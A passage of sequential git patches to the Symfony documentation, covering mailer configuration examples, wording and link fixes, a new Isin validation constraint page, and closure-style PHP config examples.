+        <!-- config/packages/mailer.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:framework="http://symfony.com/schema/dic/symfony"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
+
+            <!-- ... -->
+            <framework:config>
+                <framework:mailer dsn="null://null"/>
+            </framework:config>
+        </container>
+
+    .. code-block:: php
+
+        // config/packages/mailer.php
+        $container->loadFromExtension('framework', [
+            // ...
+            'mailer' => [
+                'dsn' => 'null://null',
+            ],
+        ]);
 
 .. note::
 
@@ -816,14 +1008,51 @@ Always Send to the same Address
 Instead of disabling delivery entirely, you might want to *always* send emails to
 a specific address, instead of the *real* address:
 
-.. code-block:: yaml
+.. configuration-block::
 
-    # config/packages/dev/mailer.yaml
-    framework:
-        mailer:
-            envelope:
-                recipients: ['youremail@example.com']
+    .. code-block:: yaml
+
+        # config/packages/dev/mailer.yaml
+        framework:
+            mailer:
+                envelope:
+                    recipients: ['youremail@example.com']
+
+    .. code-block:: xml
+
+        <!-- config/packages/mailer.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:framework="http://symfony.com/schema/dic/symfony"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
+
+            <!-- ... -->
+            <framework:config>
+                <framework:mailer>
+                    <framework:envelope>
+                        <framework:recipient>youremail@example.com</framework:recipient>
+                    </framework:envelope>
+                </framework:mailer>
+            </framework:config>
+        </container>
+
+    .. code-block:: php
+
+        // config/packages/mailer.php
+        $container->loadFromExtension('framework', [
+            // ...
+            'mailer' => [
+                'envelope' => [
+                    'recipients' => ['youremail@example.com'],
+                ],
+            ],
+        ]);
 
+.. _`high availability`: https://en.wikipedia.org/wiki/High_availability
+.. _`load balancing`: https://en.wikipedia.org/wiki/Load_balancing_(computing)
 .. _`download the foundation-emails.css file`: https://github.com/foundation/foundation-emails/blob/develop/dist/foundation-emails.css
 .. _`league/html-to-markdown`: https://github.com/thephpleague/html-to-markdown
 .. _`Markdown syntax`: https://commonmark.org/

From 167f58bff6b99150a4ffb46268083b4b4ad2258f Mon Sep 17 00:00:00 2001
From: Tugdual Saunier <tugdual.saunier@gmail.com>
Date: Fri, 10 Jul 2020 09:29:34 +0200
Subject: [PATCH 0967/7107] Tweak security checker wording

-mCloning is not accurate anymore as the command now uses GitHub HTTP API
---
 security/security_checker.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/security/security_checker.rst b/security/security_checker.rst
index dbf4b0d2ee7..584d86c2a06 100644
--- a/security/security_checker.rst
+++ b/security/security_checker.rst
@@ -15,7 +15,7 @@ file to find known security vulnerabilities in your installed dependencies:
 
 A good security practice is to execute this command regularly to be able to
 update or replace compromised dependencies as soon as possible. The security
-check is done locally by cloning the `security advisories database`_ published
+check is done locally by fetching the `security advisories database`_ published
 by the FriendsOfPHP organization, so your ``composer.lock`` file is not sent on
 the network.
 

From 486a1fe9b3d4280507c4f5acb6c7971e76457725 Mon Sep 17 00:00:00 2001
From: Souhail <smsouhail@gmail.com>
Date: Fri, 10 Jul 2020 10:54:54 +0200
Subject: [PATCH 0968/7107] Update experimental_authenticators.rst

Fix the link for `PreAuthenticatedUserBadge` class
---
 security/experimental_authenticators.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/security/experimental_authenticators.rst b/security/experimental_authenticators.rst
index 4299a452dcf..a8c5ee3cc55 100644
--- a/security/experimental_authenticators.rst
+++ b/security/experimental_authenticators.rst
@@ -464,7 +464,7 @@ the following badges are supported:
     authentication. The constructor requires a token ID (unique per form)
     and CSRF token (unique per request). See :doc:`/security/csrf`.
 
-:class:`Symfony\\Component\\Security\\Http\\Authenticator\\Passport\\Badge\\PreAuthenticatedBadge`
+:class:`Symfony\\Component\\Security\\Http\\Authenticator\\Passport\\Badge\\PreAuthenticatedUserBadge`
     Indicates that this user was pre-authenticated (i.e. before Symfony was
     initiated). This skips the
     :doc:`pre-authentication user checker </security/user_checkers>`.

From 8cab7bb962cc217983b77c712dbcb7c0f54d78e2 Mon Sep 17 00:00:00 2001
From: Marco Petersen <m@rcopetersen.com>
Date: Fri, 10 Jul 2020 15:31:27 +0200
Subject: [PATCH 0969/7107] Add missing path in PHP routing configuration
 example

---
 routing.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/routing.rst b/routing.rst
index baba8267706..aa59369865e 100644
--- a/routing.rst
+++ b/routing.rst
@@ -302,7 +302,7 @@ arbitrary matching logic:
         use Symfony\Component\Routing\Loader\Configurator\RoutingConfigurator;
 
         return function (RoutingConfigurator $routes) {
-            $routes->add('contact', '')
+            $routes->add('contact', '/contact')
                 ->controller([DefaultController::class, 'contact'])
                 ->condition('context.getMethod() in ["GET", "HEAD"] and request.headers.get("User-Agent") matches "/firefox/i"')
                 // expressions can also include config parameters:

From d8eff61755f28fc892ba10ab9df8e8e4a4e3e3e5 Mon Sep 17 00:00:00 2001
From: New To Vaux <640187+newtovaux@users.noreply.github.com>
Date: Sat, 11 Jul 2020 09:46:47 +0100
Subject: [PATCH 0970/7107] Corrected grammar to increased readability.

---
 security/ldap.rst | 10 +++++-----
 1 file changed, 5 insertions(+), 5 deletions(-)

diff --git a/security/ldap.rst b/security/ldap.rst
index d449a6851e5..5bff1ae9925 100644
--- a/security/ldap.rst
+++ b/security/ldap.rst
@@ -213,7 +213,7 @@ use the ``ldap`` user provider.
     data. It's a static user defined by its username and password (for improved
     security, define the password as an environment variable).
 
-    If your LDAP server allows to retrieve information anonymously, you can
+    If your LDAP server allows retrieval of information anonymously, you can
     set the ``search_dn`` and ``search_password`` options to ``null``.
 
 The ``ldap`` user provider supports many different configuration options:
@@ -240,7 +240,7 @@ search_dn
 **type**: ``string`` **default**: ``null``
 
 This is your read-only user's DN, which will be used to authenticate
-against the LDAP server in order to fetch the user's information.
+against the LDAP server to fetch the user's information.
 
 search_password
 ...............
@@ -248,7 +248,7 @@ search_password
 **type**: ``string`` **default**: ``null``
 
 This is your read-only user's password, which will be used to authenticate
-against the LDAP server in order to fetch the user's information.
+against the LDAP server to fetch the user's information.
 
 default_roles
 .............
@@ -302,7 +302,7 @@ load the user ``fabpot``, the final string will be: ``(uid=fabpot)``.
 If you pass ``null`` as the value of this option, the default filter is used
 ``({uid_key}={username})``.
 
-In order to prevent `LDAP injection`_, the username will be escaped.
+To prevent `LDAP injection`_, the username will be escaped.
 
 The syntax for the ``filter`` key is defined by `RFC4515`_.
 
@@ -329,7 +329,7 @@ dn_string
 
 **type**: ``string`` **default**: ``{username}``
 
-This key defines the form of the string used in order to compose the
+This key defines the form of the string used to compose the
 DN of the user, from the username. The ``{username}`` string is
 replaced by the actual username of the person trying to authenticate.
 

From 9b7bae9656bd7bfea13dcfb8c946949a06069e9c Mon Sep 17 00:00:00 2001
From: Vincent Langlet <vincentlanglet@hotmail.fr>
Date: Sun, 12 Jul 2020 23:27:40 +0200
Subject: [PATCH 0971/7107] Add doc for Isin constraint

---
 reference/constraints.rst         |  1 +
 reference/constraints/Isin.rst    | 99 +++++++++++++++++++++++++++++++
 reference/constraints/map.rst.inc |  1 +
 3 files changed, 101 insertions(+)
 create mode 100644 reference/constraints/Isin.rst

diff --git a/reference/constraints.rst b/reference/constraints.rst
index faa5ed3cac2..a3c99715834 100644
--- a/reference/constraints.rst
+++ b/reference/constraints.rst
@@ -62,6 +62,7 @@ Validation Constraints Reference
    constraints/Bic
    constraints/Isbn
    constraints/Issn
+   constraints/Isin
 
    constraints/AtLeastOneOf
    constraints/Sequentially
diff --git a/reference/constraints/Isin.rst b/reference/constraints/Isin.rst
new file mode 100644
index 00000000000..86c1c3a3973
--- /dev/null
+++ b/reference/constraints/Isin.rst
@@ -0,0 +1,99 @@
+Isin
+====
+
+Validates that a value is a valid
+`International Securities Identification Number (ISIN)`_.
+
+==========  ===================================================================
+Applies to  :ref:`property or method <validation-property-target>`
+Options     - `groups`_
+            - `message`_
+            - `payload`_
+Class       :class:`Symfony\\Component\\Validator\\Constraints\\Isin`
+Validator   :class:`Symfony\\Component\\Validator\\Constraints\\IsinValidator`
+==========  ===================================================================
+
+Basic Usage
+-----------
+
+.. configuration-block::
+
+    .. code-block:: php-annotations
+
+        // src/Entity/UnitAccount.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class UnitAccount
+        {
+            /**
+             * @Assert\Isin
+             */
+            protected $isin;
+        }
+
+    .. code-block:: yaml
+
+        # config/validator/validation.yaml
+        App\Entity\UnitAccount:
+            properties:
+                isin:
+                    - Isin: ~
+
+    .. code-block:: xml
+
+        <!-- config/validator/validation.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <constraint-mapping xmlns="http://symfony.com/schema/dic/constraint-mapping"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/dic/constraint-mapping https://symfony.com/schema/dic/constraint-mapping/constraint-mapping-1.0.xsd">
+
+            <class name="App\Entity\UnitAccount">
+                <property name="isin">
+                    <constraint name="Isin"/>
+                </property>
+            </class>
+        </constraint-mapping>
+
+    .. code-block:: php
+
+        // src/Entity/UnitAccount.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+        use Symfony\Component\Validator\Mapping\ClassMetadata;
+
+        class UnitAccount
+        {
+            public static function loadValidatorMetadata(ClassMetadata $metadata)
+            {
+                $metadata->addPropertyConstraint('isin', new Assert\Isin());
+            }
+        }
+
+.. include:: /reference/constraints/_empty-values-are-valid.rst.inc
+
+Options
+-------
+
+.. include:: /reference/constraints/_groups-option.rst.inc
+
+message
+~~~~~~~
+
+**type**: ``string`` default: ``This value is not a valid International Securities Identification Number (ISIN).``
+
+The message shown if the given value is not a valid ISIN.
+
+You can use the following parameters in this message:
+
+===============  ==============================================================
+Parameter        Description
+===============  ==============================================================
+``{{ value }}``  The current (invalid) value
+===============  ==============================================================
+
+.. include:: /reference/constraints/_payload-option.rst.inc
+
+.. _`International Securities Identification Number (ISIN)`: https://en.wikipedia.org/wiki/International_Securities_Identification_Number
diff --git a/reference/constraints/map.rst.inc b/reference/constraints/map.rst.inc
index 05e820db8ee..d8e8cfcd2f9 100644
--- a/reference/constraints/map.rst.inc
+++ b/reference/constraints/map.rst.inc
@@ -80,6 +80,7 @@ Financial and other Number Constraints
 * :doc:`Iban </reference/constraints/Iban>`
 * :doc:`Isbn </reference/constraints/Isbn>`
 * :doc:`Issn </reference/constraints/Issn>`
+* :doc:`Isin </reference/constraints/Isin>`
 
 Other Constraints
 ~~~~~~~~~~~~~~~~~

From 4de67df7cdb8d299ac0ab57f8cb5bb7a12b351fb Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 13 Jul 2020 15:17:22 +0200
Subject: [PATCH 0972/7107] [Mailer] Allow UTF-8 chars in email addresses

---
 mailer.rst | 10 ++++++++++
 1 file changed, 10 insertions(+)

diff --git a/mailer.rst b/mailer.rst
index 9dd1df9bb39..51bc410ce8a 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -161,6 +161,16 @@ both strings or address objects::
     :class:`Symfony\\Component\\Mailer\\Event\\MessageEvent` event to set the
     same ``From`` email to all messages.
 
+.. note::
+
+    The local part of the address (what goes before the ``@``) can include UTF-8
+    characters, except for the sender address (to avoid issues with bounced emails).
+    For example: ``föóbàr@example.com``, ``用户@example.com``, ``θσερ@example.com``, etc.
+
+    .. versionadded:: 5.2
+
+        Support for UTF-8 characters in email addresses was introduced in Symfony 5.2.
+
 Multiple addresses are defined with the ``addXXX()`` methods::
 
     $email = (new Email())

From 85b7890a08fb62a9be68887f401c2900f4fbabe6 Mon Sep 17 00:00:00 2001
From: Linas Linartas <linas@linartas.lt>
Date: Mon, 13 Jul 2020 19:48:44 +0300
Subject: [PATCH 0973/7107] [Console] Update input.rst

Minor fix to bring logical consistency between arguments & options.
---
 console/input.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/console/input.rst b/console/input.rst
index b05f4d7bfac..3ac28516674 100644
--- a/console/input.rst
+++ b/console/input.rst
@@ -104,7 +104,7 @@ There are three argument variants you can use:
     The argument can contain any number of values. For that reason, it must be
     used at the end of the argument list.
 
-You can combine ``IS_ARRAY`` with ``REQUIRED`` and ``OPTIONAL`` like this::
+You can combine ``IS_ARRAY`` with ``REQUIRED`` or ``OPTIONAL`` like this::
 
     $this
         // ...

From 3be2860ceb7f0203bab46930b89d9b5fcc7a2af0 Mon Sep 17 00:00:00 2001
From: Ryan Weaver <ryan@thatsquality.com>
Date: Tue, 14 Jul 2020 10:33:29 -0400
Subject: [PATCH 0974/7107] default path of migrations changed in recipe

---
 doctrine.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/doctrine.rst b/doctrine.rst
index 99f0384892a..abeb4daa46d 100644
--- a/doctrine.rst
+++ b/doctrine.rst
@@ -225,7 +225,7 @@ If everything worked, you should see something like this:
 
     SUCCESS!
 
-    Next: Review the new migration "src/Migrations/Version20180207231217.php"
+    Next: Review the new migration "migrations/Version20180207231217.php"
     Then: Run the migration with php bin/console doctrine:migrations:migrate
 
 If you open this file, it contains the SQL needed to update your database! To run

From 5009526cc6e73f897e64d91ce632b4aaa1679e47 Mon Sep 17 00:00:00 2001
From: Abdouni Abdelkarim <abdounikarim@gmail.com>
Date: Wed, 15 Jul 2020 02:33:23 +0200
Subject: [PATCH 0975/7107] Update bundles.rst

Remove duplicated space
---
 bundles.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/bundles.rst b/bundles.rst
index 21ecea9f606..130171e0120 100644
--- a/bundles.rst
+++ b/bundles.rst
@@ -31,7 +31,7 @@ file::
         Symfony\Bundle\SwiftmailerBundle\SwiftmailerBundle::class => ['all' => true],
         Doctrine\Bundle\DoctrineBundle\DoctrineBundle::class => ['all' => true],
         Sensio\Bundle\FrameworkExtraBundle\SensioFrameworkExtraBundle::class => ['all' => true],
-        // this bundle is enabled only in 'dev'  and 'test', so you can't use it in 'prod'
+        // this bundle is enabled only in 'dev' and 'test', so you can't use it in 'prod'
         Symfony\Bundle\WebProfilerBundle\WebProfilerBundle::class => ['dev' => true, 'test' => true],
     ];
 

From 264aaf1bb51c00b2a98ec9a7c83aef668bb60bcb Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 13 Jul 2020 14:46:55 +0200
Subject: [PATCH 0976/7107] [HttpFoundation] Document HeaderUtils::parseQuery()

---
 components/http_foundation.rst | 8 ++++++++
 1 file changed, 8 insertions(+)

diff --git a/components/http_foundation.rst b/components/http_foundation.rst
index e29c16ff384..0677f3a2f73 100644
--- a/components/http_foundation.rst
+++ b/components/http_foundation.rst
@@ -272,6 +272,14 @@ this complexity and defines some methods for the most common tasks::
     HeaderUtils::unquote('"foo \"bar\""');
     // => 'foo "bar"'
 
+    // Parses a query string but maintains dots (PHP parse_str() replaces '.' by '_')
+    HeaderUtils::parseQuery('foo[bar.baz]=qux');
+    // => ['foo' => ['bar.baz' => 'qux']]
+
+.. versionadded:: 5.2
+
+    The ``parseQuery()`` method was introduced in Symfony 5.2.
+
 Accessing ``Accept-*`` Headers Data
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 

From 51ae3a53ac829b4ba929f8bf187a7fae85a29c7d Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 13 Jul 2020 12:28:47 +0200
Subject: [PATCH 0977/7107] [Security] Mention the feature to use a custom
 AccessDecisionManager

---
 security/voters.rst | 46 +++++++++++++++++++++++++++++++++++++++++++++
 1 file changed, 46 insertions(+)

diff --git a/security/voters.rst b/security/voters.rst
index 8fe7070c736..88b6234f6f5 100644
--- a/security/voters.rst
+++ b/security/voters.rst
@@ -323,3 +323,49 @@ security configuration:
                 'allow_if_all_abstain' => false,
             ],
         ]);
+
+Custom Access Decision Strategy
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+If none of the built-in strategies fits your use case, define the ``service``
+option to use a custom service as the Access Decision Manager (your service
+must implement the :class:`Symfony\\Component\\Security\\Core\\Authorization\\AccessDecisionManagerInterface`):
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # app/config/security.yml
+        security:
+            access_decision_manager:
+                service: App\Security\MyCustomAccessDecisionManager
+                # ...
+
+    .. code-block:: xml
+
+        <!-- app/config/security.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <srv:container xmlns="http://symfony.com/schema/dic/security"
+            xmlns:srv="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd"
+        >
+
+            <config>
+                <access-decision-manager
+                    service="App\Security\MyCustomAccessDecisionManager"/>
+            </config>
+        </srv:container>
+
+    .. code-block:: php
+
+        // app/config/security.php
+        use App\Security\MyCustomAccessDecisionManager;
+
+        $container->loadFromExtension('security', [
+            'access_decision_manager' => [
+                'service' => MyCustomAccessDecisionManager::class,
+                // ...
+            ],
+        ]);

From addf17b5f805b2994de50df3b5d58335aea0a986 Mon Sep 17 00:00:00 2001
From: Marco Petersen <m@rcopetersen.com>
Date: Mon, 13 Jul 2020 17:17:12 +0200
Subject: [PATCH 0978/7107] Use "closure-style" PHP configuration format in
 code examples

---
 configuration.rst | 119 ++++++++++++++++++++++++++++------------------
 1 file changed, 73 insertions(+), 46 deletions(-)

diff --git a/configuration.rst b/configuration.rst
index 8a0f8b278ba..042d4813a54 100644
--- a/configuration.rst
+++ b/configuration.rst
@@ -120,13 +120,16 @@ configuration files, even if they use a different format:
     .. code-block:: php
 
         // config/services.php
-        $loader->import('legacy_config.xml');
-        // the third optional argument of import() is 'ignore_errors', which
-        // silently discards errors if the loaded file doesn't exist
-        $loader->import('my_config_file.yaml', null, true);
-        // glob expressions are also supported to load multiple files
-        $loader->import('/etc/myapp/*.yaml');
-
+        namespace Symfony\Component\DependencyInjection\Loader\Configurator;
+
+        return static function (ContainerConfigurator $container) {
+            $container->import('legacy_config.php');
+            // ignore_errors (3rd parameter) silently discards errors if the loaded file doesn't exist
+            $container->import('my_config_file.xml', null, true);
+            // glob expressions are also supported to load multiple files
+            $container->import('/etc/myapp/*.yaml');
+        };
+        
         // ...
 
 .. _config-parameter-intro:
@@ -209,24 +212,25 @@ reusable configuration value. By convention, parameters are defined under the
     .. code-block:: php
 
         // config/services.php
-        // the parameter name is an arbitrary string (the 'app.' prefix is recommended
-        // to better differentiate your parameters from Symfony parameters).
-        $container->setParameter('app.admin_email', 'something@example.com');
-
-        // boolean parameters
-        $container->setParameter('app.enable_v2_protocol', true);
-
-        // array/collection parameters
-        $container->setParameter('app.supported_locales', ['en', 'es', 'fr']);
+        namespace Symfony\Component\DependencyInjection\Loader\Configurator;
 
-        // binary content parameters (use the PHP escape sequences)
-        $container->setParameter('app.some_parameter', 'This is a Bell char: \x07');
-
-        // PHP constants as parameter values
         use App\Entity\BlogPost;
 
-        $container->setParameter('app.some_constant', GLOBAL_CONSTANT);
-        $container->setParameter('app.another_constant', BlogPost::MAX_ITEMS);
+        return static function (ContainerConfigurator $container) {
+            $container->parameters()
+                // the parameter name is an arbitrary string (the 'app.' prefix is recommended
+                // to better differentiate your parameters from Symfony parameters).
+                ->set('app.admin_email', 'something@example.com')
+                // boolean parameters
+                ->set('app.enable_v2_protocol', true)
+                // array/collection parameters
+                ->set('app.supported_locales', ['en', 'es', 'fr'])
+                // binary content parameters (use the PHP escape sequences)
+                ->set('app.some_parameter', 'This is a Bell char: \x07')
+                // PHP constants as parameter values
+                ->set('app.some_constant', GLOBAL_CONSTANT)
+                ->set('app.another_constant', BlogPost::MAX_ITEMS);
+        };
 
         // ...
 
@@ -278,12 +282,17 @@ configuration file using a special syntax: wrap the parameter name in two ``%``
     .. code-block:: php
 
         // config/packages/some_package.php
-        $container->loadFromExtension('some_package', [
-            // any string surrounded by two % is replaced by that parameter value
-            'email_address' => '%app.admin_email%',
+        namespace Symfony\Component\DependencyInjection\Loader\Configurator;
+
+        return static function (ContainerConfigurator $container) {
+            $container->extension('some_package', [
+                // any string surrounded by two % is replaced by that parameter value
+                'email_address' => '%app.admin_email%',
+
+                // ...
+            ]);
+        };
 
-            // ...
-        ]);
 
 .. note::
 
@@ -310,7 +319,12 @@ configuration file using a special syntax: wrap the parameter name in two ``%``
         .. code-block:: php
 
             // config/services.php
-            $container->setParameter('url_pattern', 'http://symfony.com/?foo=%%s&amp;bar=%%d');
+            namespace Symfony\Component\DependencyInjection\Loader\Configurator;
+
+            return static function (ContainerConfigurator $container) {
+                $container->parameters()
+                    ->set('url_pattern', 'http://symfony.com/?foo=%%s&amp;bar=%%d');
+            };
 
 .. include:: /components/dependency_injection/_imports-parameters-note.rst.inc
 
@@ -478,12 +492,16 @@ This example shows how you could configure the database connection using an env
     .. code-block:: php
 
         // config/packages/doctrine.php
-        $container->loadFromExtension('doctrine', [
-            'dbal' => [
-                // by convention the env var names are always uppercase
-                'url' => '%env(resolve:DATABASE_URL)%',
-            ]
-        ]);
+        namespace Symfony\Component\DependencyInjection\Loader\Configurator;
+
+        return static function (ContainerConfigurator $container) {
+            $container->extension('doctrine', [
+                'dbal' => [
+                    // by convention the env var names are always uppercase
+                    'url' => '%env(resolve:DATABASE_URL)%',
+                ]
+            ]);
+        };
 
 .. seealso::
 
@@ -780,13 +798,18 @@ doesn't work for parameters:
     .. code-block:: php
 
         // config/services.php
+        namespace Symfony\Component\DependencyInjection\Loader\Configurator;
+
         use App\Service\MessageGenerator;
-        use Symfony\Component\DependencyInjection\Reference;
 
-        $container->setParameter('app.contents_dir', '...');
+        return static function (ContainerConfigurator $container) {
+            $container->parameters()
+                ->set('app.contents_dir', '...');
 
-        $container->getDefinition(MessageGenerator::class)
-            ->setArgument('$contentsDir', '%app.contents_dir%');
+            $container->services()
+                ->get(MessageGenerator::class)
+                    ->arg('$contentsDir', '%app.contents_dir%');
+        };
 
 If you inject the same parameters over and over again, use the
 ``services._defaults.bind`` option instead. The arguments defined in that option are
@@ -832,18 +855,22 @@ whenever a service/controller defines a ``$projectDir`` argument, use this:
     .. code-block:: php
 
         // config/services.php
+        namespace Symfony\Component\DependencyInjection\Loader\Configurator;
+
         use App\Controller\LuckyController;
         use Psr\Log\LoggerInterface;
         use Symfony\Component\DependencyInjection\Reference;
 
-        $container->register(LuckyController::class)
-            ->setPublic(true)
-            ->setBindings([
-                // pass this value to any $projectDir argument for any service
-                // that's created in this file (including controller arguments)
-                '$projectDir' => '%kernel.project_dir%',
-            ])
-        ;
+        return static function (ContainerConfigurator $container) {
+            $container->services()
+                ->set(LuckyController::class)
+                    ->public()
+                    ->args([
+                        // pass this value to any $projectDir argument for any service
+                        // that's created in this file (including controller arguments)
+                        '$projectDir' => '%kernel.project_dir%',
+                    ]);
+        };
 
 .. seealso::
 

From d1b3d2b30165cd6998a5436a5e4a4979c23c4a5c Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 15 Jul 2020 10:23:20 +0200
Subject: [PATCH 0979/7107] Minor tweak

---
 configuration.rst | 6 +++++-
 1 file changed, 5 insertions(+), 1 deletion(-)

diff --git a/configuration.rst b/configuration.rst
index 042d4813a54..6cb19d1d4ea 100644
--- a/configuration.rst
+++ b/configuration.rst
@@ -129,7 +129,7 @@ configuration files, even if they use a different format:
             // glob expressions are also supported to load multiple files
             $container->import('/etc/myapp/*.yaml');
         };
-        
+
         // ...
 
 .. _config-parameter-intro:
@@ -221,12 +221,16 @@ reusable configuration value. By convention, parameters are defined under the
                 // the parameter name is an arbitrary string (the 'app.' prefix is recommended
                 // to better differentiate your parameters from Symfony parameters).
                 ->set('app.admin_email', 'something@example.com')
+
                 // boolean parameters
                 ->set('app.enable_v2_protocol', true)
+
                 // array/collection parameters
                 ->set('app.supported_locales', ['en', 'es', 'fr'])
+
                 // binary content parameters (use the PHP escape sequences)
                 ->set('app.some_parameter', 'This is a Bell char: \x07')
+
                 // PHP constants as parameter values
                 ->set('app.some_constant', GLOBAL_CONSTANT)
                 ->set('app.another_constant', BlogPost::MAX_ITEMS);

From 2a672a0f74fe98a2f990fa52f6f86b0f1f476daf Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 15 Jul 2020 10:24:11 +0200
Subject: [PATCH 0980/7107] Updated some config file paths

---
 security/voters.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/security/voters.rst b/security/voters.rst
index bcce186ef73..7368fa027ba 100644
--- a/security/voters.rst
+++ b/security/voters.rst
@@ -325,7 +325,7 @@ must implement the :class:`Symfony\\Component\\Security\\Core\\Authorization\\Ac
 
     .. code-block:: yaml
 
-        # app/config/security.yml
+        # config/packages/security.yaml
         security:
             access_decision_manager:
                 service: App\Security\MyCustomAccessDecisionManager
@@ -333,7 +333,7 @@ must implement the :class:`Symfony\\Component\\Security\\Core\\Authorization\\Ac
 
     .. code-block:: xml
 
-        <!-- app/config/security.xml -->
+        <!-- config/packages/security.xml -->
         <?xml version="1.0" encoding="UTF-8" ?>
         <srv:container xmlns="http://symfony.com/schema/dic/security"
             xmlns:srv="http://symfony.com/schema/dic/services"
@@ -350,7 +350,7 @@ must implement the :class:`Symfony\\Component\\Security\\Core\\Authorization\\Ac
 
     .. code-block:: php
 
-        // app/config/security.php
+        // config/packages/security.php
         use App\Security\MyCustomAccessDecisionManager;
 
         $container->loadFromExtension('security', [

From 7be8735a0954ddcca5301407aa29a714056f7da7 Mon Sep 17 00:00:00 2001
From: Linas Linartas <linas@linartas.lt>
Date: Wed, 15 Jul 2020 12:05:51 +0300
Subject: [PATCH 0981/7107] [Workflow] Update workflow.rst

Added `workflow_transition_blockers` Twig function reference (from version 4.3)
---
 workflow.rst | 8 ++++++++
 1 file changed, 8 insertions(+)

diff --git a/workflow.rst b/workflow.rst
index f1498464717..5b84429b72a 100644
--- a/workflow.rst
+++ b/workflow.rst
@@ -663,6 +663,9 @@ of domain logic in your templates:
 
 ``workflow_has_marked_place()``
     Returns ``true`` if the marking of the given object has the given state.
+    
+``workflow_transition_blockers()``
+    Returns :class:`Symfony\\Component\\Workflow\\TransitionBlockerList` for the given transition.
 
 The following example shows these functions in action:
 
@@ -695,6 +698,11 @@ The following example shows these functions in action:
     {% if 'reviewed' in workflow_marked_places(post) %}
         <span class="label">Reviewed</span>
     {% endif %}
+    
+    {# Loop through the transition blockers #}
+    {% for blocker in workflow_transition_blockers(post, 'publish') %}
+        <span class="error">{{ blocker.message }}</span>
+    {% endfor %}
 
 Storing Metadata
 ----------------

From 47200c9885353bd0a0c45689a0e71131f24b6ada Mon Sep 17 00:00:00 2001
From: Abdouni Abdelkarim <abdounikarim@gmail.com>
Date: Wed, 15 Jul 2020 11:15:51 +0200
Subject: [PATCH 0982/7107] Update database.rst

I updated the `.env` file.
---
 testing/database.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/testing/database.rst b/testing/database.rst
index 96d0dc7d3d1..d2e0b18f24c 100644
--- a/testing/database.rst
+++ b/testing/database.rst
@@ -15,7 +15,7 @@ your project and define the new value for the ``DATABASE_URL`` env var:
 .. code-block:: bash
 
     # .env.test.local
-    DATABASE_URL=mysql://USERNAME:PASSWORD@127.0.0.1/DB_NAME
+    DATABASE_URL=mysql://USERNAME:PASSWORD@127.0.0.1:3306/DB_NAME?serverVersion=5.7
 
 .. tip::
 

From 8060d7e9865454e3ecb1f388547e949976f69924 Mon Sep 17 00:00:00 2001
From: Abdouni Abdelkarim <abdounikarim@gmail.com>
Date: Wed, 15 Jul 2020 11:23:00 +0200
Subject: [PATCH 0983/7107] Update doctrine.rst

I updated `.env` and add postgresql configuration
---
 doctrine.rst | 5 ++++-
 1 file changed, 4 insertions(+), 1 deletion(-)

diff --git a/doctrine.rst b/doctrine.rst
index b49e70ed407..269ee0a02b7 100644
--- a/doctrine.rst
+++ b/doctrine.rst
@@ -44,10 +44,13 @@ The database connection information is stored as an environment variable called
     # .env (or override DATABASE_URL in .env.local to avoid committing your changes)
 
     # customize this line!
-    DATABASE_URL="mysql://db_user:db_password@127.0.0.1:3306/db_name"
+    DATABASE_URL="mysql://db_user:db_password@127.0.0.1:3306/db_name?serverVersion=5.7"
 
     # to use sqlite:
     # DATABASE_URL="sqlite:///%kernel.project_dir%/var/app.db"
+    
+    # to use postgresql:
+    # DATABASE_URL="postgresql://db_user:db_password@127.0.0.1:5432/db_name?serverVersion=11&charset=utf8"
 
 .. caution::
 

From fe2ad65e1563f8eba3414aa91b63206e4f53ed60 Mon Sep 17 00:00:00 2001
From: Abdouni Abdelkarim <abdounikarim@gmail.com>
Date: Wed, 15 Jul 2020 10:40:39 +0200
Subject: [PATCH 0984/7107] Update service_container.rst

Hello,

I removed the `Migrations` folder from exclude.
Since 5.1, this directory has been moved outside of `src`.
---
 service_container.rst | 18 +++++++++---------
 1 file changed, 9 insertions(+), 9 deletions(-)

